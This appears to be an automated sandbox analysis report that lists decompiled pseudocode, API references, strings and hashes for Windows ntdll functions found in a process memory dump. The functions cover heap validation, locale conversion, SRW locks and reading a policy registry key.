RtlAllocateHeap.1105(?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6A94CEE6
memcpy.1105(00000010,?,00000000,?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6A94CF16
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand,RtlpInsertAssemblyStorageMapEntry,00000040,?,00000000,00000000,00000000,00000002,?,00000040,00000000,?,?,00000000), ref: 6A98AE15
RtlFreeHeap.1105(?,00000000,00000000,00000040,00000000,?,?,00000000,00000002), ref: 6A98AE34

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand, xrefs: 6A98AE0C
RtlpInsertAssemblyStorageMapEntry, xrefs: 6A98AE07

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreePrintmemcpy
String ID: RtlpInsertAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand
API String ID: 3020890669-2104531740
Opcode ID: 07f4938aeda16cc8264c2d06fdea331aca07e1e1d28624dccf1091dd42171356
Instruction ID: 361d2ddb1b0e4d96e1a33f83093e061116285dabde5b51325a346f3c300e7c12
Opcode Fuzzy Hash: 07f4938aeda16cc8264c2d06fdea331aca07e1e1d28624dccf1091dd42171356
Instruction Fuzzy Hash: 9F41E272600615EFD724CF49C840A6AB3F9FF94715F328469E9588BB84EB34EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A913FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A913FC5(signed int __edx, intOrPtr _a4) {
				void* __ecx;
				signed char _t44;
				signed char _t48;
				intOrPtr* _t50;
				unsigned int _t51;
				signed char _t52;
				signed int _t58;
				signed int _t59;
				intOrPtr _t62;
				intOrPtr* _t64;
				signed int _t65;
				signed int _t78;

				_t58 = __edx;
				_t78 = _t59;
				if(__edx == 0 || (__edx & 0x00000007) != 0) {
					L37:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t58 + 8);
					_push(_t78);
					E6A91B150("Invalid address specified to %s( %p, %p )\n", _a4);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6aa06378 = 1;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					return 0;
				} else {
					_t44 =  *((intOrPtr*)(__edx + 7));
					if((_t44 & 0x0000003f) == 0) {
						goto L37;
					}
					if(_t44 < 0) {
						if( *((char*)(_t78 + 0xda)) != 2) {
							_t62 = 0;
						} else {
							_t62 =  *((intOrPtr*)(_t78 + 0xd4));
						}
						if(_t62 != 0) {
							if(_t44 != 4) {
								L23:
								return 1;
							}
						}
						goto L37;
					}
					if( *(_t78 + 0x4c) == 0 || ( *(_t78 + 0x50) ^  *__edx) >> 0x18 == (( *(_t78 + 0x50) ^  *__edx) >> 0x00000010 ^ ( *(_t78 + 0x50) ^  *__edx) >> 0x00000008 ^ _t76)) {
						if( *((char*)(_t58 + 7)) == 4) {
							if((_t58 & 0x00000fff) != 0x18) {
								goto L37;
							}
							L13:
							if( *(_t78 + 0x4c) == 0) {
								_t48 =  *((intOrPtr*)(_t58 + 2));
							} else {
								_t51 =  *_t58;
								if(( *(_t78 + 0x4c) & _t51) != 0) {
									_t51 = _t51 ^  *(_t78 + 0x50);
								}
								_t48 = _t51 >> 0x10;
							}
							if((_t48 & 0x00000004) != 0) {
								if(E6A9C23E3(_t78, _t58) != 0) {
									goto L18;
								}
							} else {
								L18:
								if( *((char*)(_t58 + 7)) == 4) {
									goto L23;
								}
								_t64 = _t78 + 0xa4;
								_t50 =  *_t64;
								while(_t50 != _t64) {
									if(_t58 <  *((intOrPtr*)(_t50 + 0x14)) || _t58 >=  *((intOrPtr*)(_t50 + 0x18))) {
										_t50 =  *_t50;
										continue;
									} else {
										goto L23;
									}
								}
							}
							goto L37;
						}
						_t52 =  *((intOrPtr*)(_t58 + 6));
						if(_t52 == 0) {
							_t65 = _t78;
						} else {
							_t65 = (_t58 & 0xffff0000) - ((_t52 & 0x000000ff) << 0x10) + 0x10000;
						}
						if(_t65 == 0 ||  *((intOrPtr*)(_t65 + 0x18)) != _t78 || _t58 <  *((intOrPtr*)(_t65 + 0x24)) || _t58 >=  *((intOrPtr*)(_t65 + 0x28))) {
							goto L37;
						} else {
							goto L13;
						}
					} else {
						goto L37;
					}
				}
			}

0x6a913fcc
0x6a913fcf
0x6a913fd3
0x6a9703b8
0x6a9703c2
0x6a9703e1
0x6a9703e6
0x6a9703c4
0x6a9703d9
0x6a9703de
0x6a9703ef
0x6a9703f0
0x6a9703f9
0x6a97040b
0x6a97040d
0x6a970414
0x6a970415
0x6a970415
0x00000000
0x6a913fe2
0x6a913fe2
0x6a913fe7
0x00000000
0x00000000
0x6a913fef
0x6a9140b8
0x6a9140d8
0x6a9140ba
0x6a9140ba
0x6a9140ba
0x6a9140c2
0x6a9140ca
0x6a9140a4
0x00000000
0x6a9140a4
0x6a9140cc
0x00000000
0x6a9140c2
0x6a913ff9
0x6a91401f
0x6a9703a0
0x00000000
0x00000000
0x6a914069
0x6a91406d
0x6a9140dc
0x6a91406f
0x6a91406f
0x6a914074
0x6a914076
0x6a914076
0x6a914079
0x6a914079
0x6a91407e
0x6a9703b2
0x00000000
0x00000000
0x6a914084
0x6a914084
0x6a914088
0x00000000
0x00000000
0x6a91408a
0x6a914090
0x6a914092
0x6a91409d
0x6a9140ad
0x00000000
0x00000000
0x00000000
0x00000000
0x6a91409d
0x6a914092
0x00000000
0x6a91407e
0x6a914025
0x6a91402a
0x6a9140d1
0x6a914030
0x6a914040
0x6a914040
0x6a914048
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a913ff9

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6A9D3933,RtlGetUserInfoHeap), ref: 6A9703D9
DbgPrint.1105(HEAP: ,?,?,?,?,6A9D3933,RtlGetUserInfoHeap), ref: 6A9703E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6A9D3933,RtlGetUserInfoHeap), ref: 6A9703F9

Strings

HEAP: , xrefs: 6A9703E1
Invalid address specified to %s( %p, %p ), xrefs: 6A9703F4
HEAP[%wZ]: , xrefs: 6A9703D4

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: 06e99f49887eb20058cb8aa4547154bc59ee0315d5eba93190044304d57b1596
Instruction ID: 36fb095d404339ce8ec792af5e40c09307196043cb400cbddf86807d252f259f
Opcode Fuzzy Hash: 06e99f49887eb20058cb8aa4547154bc59ee0315d5eba93190044304d57b1596
Instruction Fuzzy Hash: 8D411470208344CFEB75CB1AC4C476677A99F4A30CF36446DE5554B242DF66D986CB22

Uniqueness

Uniqueness Score: -1.00%

Function 6A91E420, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 126
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6A91E420(signed int _a4, intOrPtr _a8, intOrPtr* _a12) {
				char _v16;
				char _v20;
				char* _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				char _v49;
				char _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				void* _v69;
				void* _v76;
				void* _v77;
				intOrPtr _t49;
				signed int _t53;
				intOrPtr _t64;
				intOrPtr* _t72;
				void* _t73;
				intOrPtr _t91;
				void* _t93;
				signed int _t95;
				void* _t97;

				_t97 = (_t95 & 0xfffffff8) - 0x34;
				_v40 = 0;
				_v44 = 0;
				_v49 = 0;
				_v48 = 0;
				if(_a8 == 0) {
					L20:
					_t93 = 0xc000000d;
					L5:
					if(_v44 != 0) {
						_push(_v44);
						E6A9595D0();
						_v48 = _v48 & 0x00000000;
					}
					_t49 = _v40;
					if(_t49 != 0) {
						if(_t49 != 0xffffffff) {
							 *0x6a8f6cc4(_t49);
						}
					}
					return _t93;
				}
				_t72 = _a12;
				if(_t72 == 0) {
					goto L20;
				}
				RtlInitUnicodeString( &_v36, L"Software\\Policies\\Microsoft\\Control Panel\\Desktop");
				_t53 = _a4;
				if(_t53 == 0) {
					_t93 = E6A91F108(0, _t73, _t73,  &_v48);
					if(_t93 < 0) {
						goto L5;
					}
					_t53 = _v48;
					_v52 = 0;
					_v20 = 0;
					_v16 = 0;
					L4:
					_v32 = _t53;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v52);
					 *((intOrPtr*)(_t97 + 0x40)) = 0x40;
					_t93 = E6A959600();
					if(_t93 >= 0) {
						_t93 = E6A9CD208(_v52, _a8, _t97 + 0x17,  &_v56);
						if(_t93 != 0) {
							goto L5;
						}
						_t91 =  *_t72;
						if(_t91 != 0) {
							if( *(_t91 + 4) >=  *((intOrPtr*)(_t91 + 6))) {
								_t64 = E6A9CDE80();
								L16:
								_t91 = _t64;
								 *_t72 = _t91;
								if(_t91 != 0) {
									goto L19;
								}
								_t93 = 0xc0000017;
								goto L5;
							}
							L19:
							 *((short*)(( *(_t91 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)(_t91 + 0x10)))) =  *(_t97 + 0x13) & 0x000000ff;
							 *((short*)(( *( *_t72 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)( *_t72 + 0x10)) + 4)) = _v56;
							 *( *_t72 + 4) =  *( *_t72 + 4) + 1;
							goto L5;
						}
						_t64 = E6A927608(1, 0, _a8);
						goto L16;
					}
					goto L5;
				}
				_v52 = 0;
				_v20 = 0;
				_v16 = 0;
				goto L4;
			}

0x6a91e428
0x6a91e430
0x6a91e434
0x6a91e438
0x6a91e43c
0x6a91e444
0x6a9753b6
0x6a9753b6
0x6a91e4b3
0x6a91e4b8
0x6a9753c0
0x6a9753c4
0x6a9753c9
0x6a9753c9
0x6a91e4be
0x6a91e4c4
0x6a91e504
0x6a91e507
0x6a91e507
0x6a91e504
0x6a91e4ce
0x6a91e4ce
0x6a91e44a
0x6a91e44f
0x00000000
0x00000000
0x6a91e45f
0x6a91e464
0x6a91e469
0x6a91e4e4
0x6a91e4e8
0x00000000
0x00000000
0x6a91e4ea
0x6a91e4f0
0x6a91e4f4
0x6a91e4f8
0x6a91e479
0x6a91e479
0x6a91e481
0x6a91e489
0x6a91e48a
0x6a91e493
0x6a91e49b
0x6a91e49c
0x6a91e4a9
0x6a91e4ad
0x6a975340
0x6a975344
0x00000000
0x00000000
0x6a97534a
0x6a97534e
0x6a975380
0x6a975361
0x6a975366
0x6a975366
0x6a975368
0x6a97536c
0x00000000
0x00000000
0x6a97536e
0x00000000
0x6a97536e
0x6a975382
0x6a975391
0x6a9753a6
0x6a9753ad
0x00000000
0x6a9753ad
0x6a975358
0x00000000
0x6a975358
0x00000000
0x6a91e4ad
0x6a91e46d
0x6a91e471
0x6a91e475
0x00000000

APIs

RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,00000000,00000000,?), ref: 6A91E45F
ZwOpenKey.1105(?,?,?,?), ref: 6A91E4A4
ZwClose.1105(?), ref: 6A91E507
ZwClose.1105(00000000), ref: 6A9753C4

Strings

Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6A91E455
@, xrefs: 6A91E49C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$InitOpenStringUnicode
String ID: @$Software\Policies\Microsoft\Control Panel\Desktop
API String ID: 3420387270-3130938041
Opcode ID: 7bbe243670a034a40cdee0f3af8c31eba09b35cc3d69e14e60dec737747b2bfa
Instruction ID: 5cc07264e362a8518d8788f0218e5fb2eed65e83e6391b95cc9297b7f4ff4881
Opcode Fuzzy Hash: 7bbe243670a034a40cdee0f3af8c31eba09b35cc3d69e14e60dec737747b2bfa
Instruction Fuzzy Hash: C3417D7150C3069FC754CF29C480A6BBBE9AF95354F21492EF8A487291EF70DD05CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A949ED0, Relevance: 10.6, APIs: 7, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6A949ED0(signed int* __ecx, signed int __edx, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int* _v40;
				char _v41;
				char _v42;
				char _v45;
				char _v46;
				void* __ebx;
				void* __edi;
				signed int _t39;
				signed int _t66;
				char _t70;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				signed int _t93;
				signed int _t94;
				void* _t98;

				_push(_t66);
				_t88 =  *__ecx;
				_t70 = 0;
				_t93 = __ecx[1];
				_v40 = __ecx;
				_t39 = __edx;
				asm("cdq");
				_v41 = 0;
				_v42 = 0;
				_v36 = __edx;
				_v16 = __edx;
				L1:
				while(1) {
					if(_t70 != 0) {
						E6A92FFB0(_t66, _t88, _v40 + 8);
						_v46 = 0;
						L15:
						_t39 = _v36;
						L3:
						_v32 = _t93;
						_v28 = _t88;
						asm("adc eax, esi");
						_t89 = _t88 ^ _t39 + _t88 ^ _t88;
						_t94 = _t93 ^ (_v16 ^ _t93) & 0x0fffffff;
						_t84 = _t94 & 0x0fffffff;
						if((_v32 & 0x80000000) != 0) {
							if((_t89 | _t84) != 0) {
								goto L4;
							}
							_t94 = _t94 & 0x7fffffff;
							_v42 = 1;
							E6A932280(_v40 + 8, _v40 + 8);
							L5:
							_t66 = _t89;
							asm("lock cmpxchg8b [esi]");
							_t88 = _v28;
							_t93 = _v32;
							_t39 = _v36;
							if(_t88 != _v28 || _t93 != _v32) {
								_t70 = _v41;
								continue;
							} else {
								if(_v42 != 0) {
									_t54 = _v40;
									 *((intOrPtr*)(_v40 + 0xc)) = 0;
									E6A92FFB0(_t66, _t88, _v40 + 8);
									_t39 = E6A9E8858( *((intOrPtr*)(_t54 + 0xc)));
								} else {
									if(_v41 != 0) {
										_t91 = _v40;
										_t98 = _v40 + 0xc;
										E6A9E8833(_t98,  &_v12);
										E6A93FA00(_t66, _t98, _v40, _t91 + 8);
										_push(0);
										_push(_t98);
										_t39 = E6A95B180();
									}
								}
								return _t39;
							}
						}
						L4:
						if(_a4 != 0) {
							if((_t89 | _t84) == 0) {
								goto L5;
							}
							_t94 = _t94 | 0x80000000;
							_v41 = 1;
							E6A93FAD0(_v40 + 8);
						}
						goto L5;
					}
					if(_t70 != 0) {
						E6A93FA00(_t66, _t70, _t88, _v40 + 8);
						_v45 = 0;
						goto L15;
					}
					goto L3;
				}
			}

0x6a949edf
0x6a949ee2
0x6a949ee4
0x6a949ee6
0x6a949ee9
0x6a949eed
0x6a949eef
0x6a949ef0
0x6a949ef4
0x6a949ef8
0x6a949efc
0x00000000
0x6a949f00
0x6a949f02
0x6a989836
0x6a98983b
0x6a989854
0x6a989854
0x6a949f10
0x6a949f12
0x6a949f1c
0x6a949f20
0x6a949f26
0x6a949f31
0x6a949f3d
0x6a949f45
0x6a989861
0x00000000
0x00000000
0x6a98986b
0x6a989874
0x6a98987a
0x6a949f51
0x6a949f5b
0x6a949f61
0x6a949f65
0x6a949f67
0x6a949f69
0x6a949f71
0x6a949fa7
0x00000000
0x6a949f79
0x6a949f7e
0x6a9898a1
0x6a9898a8
0x6a9898b3
0x6a9898ba
0x6a949f84
0x6a949f89
0x6a9898c4
0x6a9898cc
0x6a9898d1
0x6a9898da
0x6a9898df
0x6a9898e1
0x6a9898e2
0x6a9898e2
0x6a949f89
0x6a949f95
0x6a949f95
0x6a949f71
0x6a949f4b
0x6a949f4f
0x6a949f9c
0x00000000
0x00000000
0x6a989888
0x6a989891
0x6a989897
0x6a989897
0x00000000
0x6a949f4f
0x6a949f0a
0x6a98984a
0x6a98984f
0x00000000
0x6a98984f
0x00000000
0x6a949f0a

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6A989836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6A98984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6A98987A
RtlAcquireSRWLockShared.1105(?), ref: 6A989897
RtlReleaseSRWLockExclusive.1105(?), ref: 6A9898B3

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: 0af81d741e693fa051430acb93b533d9073f0a743c597754fb14525ab2011e95
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: E9417E726482629FC714CF28D944B4BBBE5AFD5318F29494DF894AB242DA34ED0887D2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A6365, Relevance: 10.6, APIs: 7, Instructions: 123
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A9A6365(void* __ecx, wchar_t* __edx, signed short _a4, signed int* _a8, void** _a12, intOrPtr* _a16, char* _a20) {
				long _v8;
				wchar_t* _v12;
				int _v16;
				long _t30;
				void _t36;
				void _t39;
				intOrPtr* _t40;
				signed int* _t41;
				char* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				int _t52;
				void* _t53;
				intOrPtr _t56;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t64;
				long _t65;
				wchar_t* _t66;
				wchar_t* _t67;
				void* _t68;

				_t65 = _a4 & 0x0000ffff;
				_v12 = __edx;
				_t63 = __ecx;
				_t47 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t65);
				_t30 = 0;
				_v8 = 0;
				if(_t47 == 0) {
					_t64 = 0xc0000017;
					L8:
					if(_t47 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), _t30, _t47);
					}
					return _t64;
				}
				_push( &_v16);
				_push(_t65);
				_push(_t47);
				_push(2);
				_push(_t63);
				_push(0xffffffff);
				_t64 = E6A959730();
				if(_t64 < 0) {
					L7:
					_t30 = 0;
					goto L8;
				}
				_t49 =  *(_t47 + 4);
				_t61 = _t49 + 2;
				do {
					_t36 =  *_t49;
					_t49 = _t49 + 2;
				} while (_t36 != _v8);
				_t52 = 2 + (_t49 - _t61 >> 1) * 2;
				_v16 = _t52;
				if(_t52 >= _t65) {
					_t64 = 0x80000005;
					goto L7;
				}
				_t66 = _v12;
				memcpy(_t66,  *(_t47 + 4), _t52);
				_t67 = wcsrchr(_t66, 0x5c);
				if(_t67 != 0) {
					_t68 = _t67 + 2;
					_t53 = _t68;
					_t15 = _t53 + 2; // 0x0
					_t62 = _t15;
					do {
						_t39 =  *_t53;
						_t53 = _t53 + 2;
					} while (_t39 != _v8);
					_t56 = (_t53 - _t62 >> 1) + (_t53 - _t62 >> 1);
					_v8 = _t56;
					if(_a12 == 0) {
						L17:
						_t40 = _a16;
						if(_t40 != 0) {
							 *_t40 = _t56;
						}
						_t41 = _a8;
						if(_t41 != 0) {
							 *_t41 = _t68 - _v12 & 0xfffffffe;
						}
						_t42 = _a20;
						if(_t42 != 0) {
							 *_t42 = 1;
						}
						goto L7;
					}
					_t19 = _t56 + 2; // -2
					_t45 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t19);
					 *_a12 = _t45;
					if(_t45 != 0) {
						memcpy(_t45, _t68, _v8 + 2);
						_t56 = _v8;
						goto L17;
					}
					_t64 = 0xc0000017;
					goto L7;
				}
				_t64 = 0xc0000039;
				goto L7;
			}

0x6a9a6375
0x6a9a6380
0x6a9a6383
0x6a9a638a
0x6a9a638c
0x6a9a638e
0x6a9a6393
0x6a9a64ab
0x6a9a63fc
0x6a9a63fe
0x6a9a640b
0x6a9a640b
0x6a9a6418
0x6a9a6418
0x6a9a639c
0x6a9a639d
0x6a9a639e
0x6a9a639f
0x6a9a63a1
0x6a9a63a2
0x6a9a63a9
0x6a9a63ad
0x6a9a63fa
0x6a9a63fa
0x00000000
0x6a9a63fa
0x6a9a63af
0x6a9a63b2
0x6a9a63b5
0x6a9a63b5
0x6a9a63b8
0x6a9a63bb
0x6a9a63c5
0x6a9a63cc
0x6a9a63d1
0x6a9a64a1
0x00000000
0x6a9a64a1
0x6a9a63d7
0x6a9a63df
0x6a9a63ec
0x6a9a63f3
0x6a9a641b
0x6a9a641e
0x6a9a6420
0x6a9a6420
0x6a9a6423
0x6a9a6423
0x6a9a6426
0x6a9a6429
0x6a9a6433
0x6a9a6439
0x6a9a643c
0x6a9a6476
0x6a9a6476
0x6a9a647b
0x6a9a647d
0x6a9a647d
0x6a9a647f
0x6a9a6484
0x6a9a648c
0x6a9a648c
0x6a9a648e
0x6a9a6493
0x6a9a6499
0x6a9a6499
0x00000000
0x6a9a6493
0x6a9a643e
0x6a9a644d
0x6a9a6455
0x6a9a6459
0x6a9a646b
0x6a9a6470
0x00000000
0x6a9a6473
0x6a9a645b
0x00000000
0x6a9a645b
0x6a9a63f5
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,?,00000000,?,00000000), ref: 6A9A6385
ZwQueryVirtualMemory.1105(000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6A9A63A4
memcpy.1105(?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6A9A63DF
wcsrchr.1105(?,0000005C,?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?), ref: 6A9A63E7
RtlFreeHeap.1105(?,00000000,00000000,?,00000008,?,00000000,?,00000000), ref: 6A9A640B
RtlAllocateHeap.1105(?,00000008,-00000002,00000008,?,00000000,?), ref: 6A9A644D
memcpy.1105(00000000,-00000002,?,00000000,?), ref: 6A9A646B

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Allocatememcpy$FreeMemoryQueryVirtualwcsrchr
String ID:
API String ID: 58330029-0
Opcode ID: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction ID: a31848bd1d7d211d2928309d0397b49efd8a8e5e7f3bc8b2a78680f0a7238a43
Opcode Fuzzy Hash: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction Fuzzy Hash: 9F41DE36600145ABDB15CF6CCC55BAB3BB9EF80714F264069EB119B241EF31DD02C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A91649B, Relevance: 10.6, APIs: 7, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A91649B(signed int __ecx, short* __edx) {
				signed int _v8;
				char _v40;
				void* _v80;
				short _v82;
				char _v84;
				long _v88;
				char _v92;
				void* _v96;
				void* _v98;
				void* _v100;
				void* _v104;
				void* _v106;
				void* _v108;
				void* _v112;
				void* _v120;
				void* _v122;
				void* _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				short _t41;
				void* _t43;
				short _t45;
				void* _t65;
				short* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				signed int _t77;
				signed int _t79;

				_t69 = __edx;
				_t79 = (_t77 & 0xfffffff8) - 0x5c;
				_v8 =  *0x6aa0d360 ^ _t79;
				_t71 = __edx;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				if(__edx == 0) {
					_t37 = 0xc000000d;
					L7:
					_pop(_t72);
					_pop(_t74);
					_pop(_t65);
					return E6A95B640(_t37, _t65, _v8 ^ _t79, _t69, _t72, _t74);
				}
				_t75 = __ecx & 0x0000ffff;
				 *__edx = 0;
				_v80 =  &_v40;
				_t41 = 0x1e;
				_v82 = _t41;
				_t43 = E6A924720(__edx, __ecx & 0x0000ffff,  &_v84, 2, 0);
				if(_t43 < 0) {
					if(_t43 == 0xc0000023) {
						_v80 = 0;
						_v82 = 0;
						_t43 = E6A924720(__edx, _t75,  &_v84, 2, 1);
					}
					if(_t43 >= 0) {
						goto L2;
					} else {
						_t76 = 0xc000000d;
						L4:
						if(_v88 != _t79 + 0x24) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						if(_v88 != _t79 + 0x44) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						_t37 = _t76;
						goto L7;
					}
				}
				L2:
				_v88 = _t79 + 0x28;
				_t45 = 0x1e;
				 *((short*)(_t79 + 0x16)) = _t45;
				_t76 = E6A922EB0(_t69, _v80,  &_v92, 6, 0);
				if(_t76 < 0) {
					if(_t76 == 0xc0000023) {
						_v88 = 0;
						 *((short*)(_t79 + 0x16)) = 0;
						_t76 = E6A922EB0(_t69, _v80,  &_v92, 6, 1);
					}
					if(_t76 < 0) {
						goto L4;
					} else {
						goto L3;
					}
				}
				L3:
				if(0 != _v92) {
					_t76 = E6A924570(_t69, _v88, _t79 + 0x24, 3);
					if(_t76 >= 0) {
						 *_t71 =  *((intOrPtr*)(_t79 + 0x20));
					}
				}
				goto L4;
			}

0x6a91649b
0x6a9164a3
0x6a9164ad
0x6a9164b6
0x6a9164b8
0x6a9164bc
0x6a9164c0
0x6a9164c4
0x6a9164ca
0x6a971905
0x6a916550
0x6a916554
0x6a916555
0x6a916556
0x6a916561
0x6a916561
0x6a9164d2
0x6a9164d5
0x6a9164de
0x6a9164e2
0x6a9164e4
0x6a9164f1
0x6a9164f8
0x6a971914
0x6a971918
0x6a97191e
0x6a97192b
0x6a97192b
0x6a971932
0x00000000
0x6a971938
0x6a971938
0x6a916532
0x6a91653a
0x6a971984
0x6a971984
0x6a916548
0x6a97199c
0x6a97199c
0x6a91654e
0x00000000
0x6a91654e
0x6a971932
0x6a9164fe
0x6a916504
0x6a916508
0x6a91650a
0x6a91651f
0x6a916523
0x6a971948
0x6a97194c
0x6a971952
0x6a971967
0x6a971967
0x6a97196b
0x00000000
0x6a971971
0x00000000
0x6a971971
0x6a97196b
0x6a916529
0x6a916530
0x6a916572
0x6a916576
0x6a91657d
0x6a91657d
0x6a916576
0x00000000

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6A9164F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6A91651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6A91656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6A97192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6A971962

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
